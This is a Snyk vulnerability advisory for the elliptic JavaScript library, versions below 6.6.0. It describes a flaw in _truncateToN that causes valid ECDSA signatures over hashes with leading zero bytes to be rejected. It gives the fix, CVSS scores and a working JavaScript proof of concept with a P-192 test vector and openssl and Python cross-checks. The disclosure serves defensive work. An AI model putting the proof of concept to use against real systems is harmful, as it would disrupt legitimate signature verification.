Improper Verification of Cryptographic Signature Affecting elliptic package, versions <6.6.0


Severity

Recommended
0.0
high
0
10

CVSS assessment made by Snyk's Security Team

    Threat Intelligence

    Exploit Maturity
    Proof of concept
    EPSS
    0.04% (11th percentile)

Do your applications use this vulnerable package?

In a few clicks we can analyze your entire application and see what components are vulnerable in your application, and suggest you quick fixes.

Test your applications
  • Snyk ID SNYK-JS-ELLIPTIC-8187303
  • published 15 Oct 2024
  • disclosed 15 Oct 2024
  • credit bleichenbacher-daniel

How to fix?

Upgrade elliptic to version 6.6.0 or higher.

Overview

elliptic is a fast elliptic-curve cryptography implementation in plain javascript.

Affected versions of this package are vulnerable to Improper Verification of Cryptographic Signature due to an anomaly in the _truncateToN function. An attacker can cause legitimate transactions or communications to be incorrectly flagged as invalid by exploiting the signature verification process when the hash contains at least four leading 0 bytes and the order of the elliptic curve's base point is smaller than the hash.

PoC

var elliptic = require('elliptic'); // tested with version 6.5.7
var hash = require('hash.js');
var BN = require('bn.js');
var toArray = elliptic.utils.toArray;

var ec = new elliptic.ec('p192');
var msg = '343236343739373234';
var sig = '303502186f20676c0d04fc40ea55d5702f798355787363a91e97a7e50219009d1c8c171b2b02e7d791c204c17cea4cf556a2034288885b';
// Same public key just in different formats
var pk = '04cd35a0b18eeb8fcd87ff019780012828745f046e785deba28150de1be6cb4376523006beff30ff09b4049125ced29723';
var pkPem = '-----BEGIN PUBLIC KEY-----\nMEkwEwYHKoZIzj0CAQYIKoZIzj0DAQEDMgAEzTWgsY7rj82H/wGXgAEoKHRfBG54\nXeuigVDeG+bLQ3ZSMAa+/zD/CbQEkSXO0pcj\n-----END PUBLIC KEY-----\n';

// Create hash
var hashArray = hash.sha256().update(toArray(msg, 'hex')).digest();
// Convert array to string (just for showcase of the leading zeros)
var hashStr = Array.from(hashArray, function(byte) {
  return ('0' + (byte & 0xFF).toString(16)).slice(-2);
}).join('');
var hMsg = new BN(hashArray, 'hex');
// Hashed message contains 4 leading zeros bytes
console.log('sha256 hash(str): ' + hashStr);
// Due to using BN bitLength lib it does not calculate the bit length correctly (should be 32 since it is a sha256 hash)
console.log('Byte len of sha256 hash: ' + hMsg.byteLength());
console.log('sha256 hash(BN): ' + hMsg.toString(16));

// Due to the shift of the message to be within the order of the curve the delta computation is invalid
var pubKey = ec.keyFromPublic(toArray(pk, 'hex'));
console.log('Valid signature: ' + pubKey.verify(hashStr, sig));

// You can check that this hash should validate by consolidating openssl
const fs = require('fs');
fs.writeFile('msg.bin', new BN(msg, 16).toBuffer(), (err) => {
  if (err) throw err;
});
fs.writeFile('sig.bin', new BN(sig, 16).toBuffer(), (err) => {
  if (err) throw err;
});
fs.writeFile('cert.pem', pkPem, (err) => {
  if (err) throw err;
});

// To verify the correctness of the message signature and key one can run:
// openssl dgst -sha256 -verify cert.pem -signature sig.bin msg.bin
// Or run this python script
/*
from cryptography.hazmat.primitives import hashes
from cryptography.hazmat.primitives.asymmetric import ec


msg = '343236343739373234'
sig = '303502186f20676c0d04fc40ea55d5702f798355787363a91e97a7e50219009d1c8c171b2b02e7d791c204c17cea4cf556a2034288885b'
pk = '04cd35a0b18eeb8fcd87ff019780012828745f046e785deba28150de1be6cb4376523006beff30ff09b4049125ced29723'

p192 = ec.SECP192R1()
pk = ec.EllipticCurvePublicKey.from_encoded_point(p192, bytes.fromhex(pk))
pk.verify(bytes.fromhex(sig), bytes.fromhex(msg), ec.ECDSA(hashes.SHA256()))
*/

CVSS Scores

version 4.0
version 3.1
Expand this section

Snyk

Recommended
8.7 high
  • Attack Vector (AV)
    Network
  • Attack Complexity (AC)
    Low
  • Attack Requirements (AT)
    None
  • Privileges Required (PR)
    None
  • User Interaction (UI)
    None
  • Confidentiality (VC)
    None
  • Integrity (VI)
    High
  • Availability (VA)
    None
  • Confidentiality (SC)
    None
  • Integrity (SI)
    None
  • Availability (SA)
    None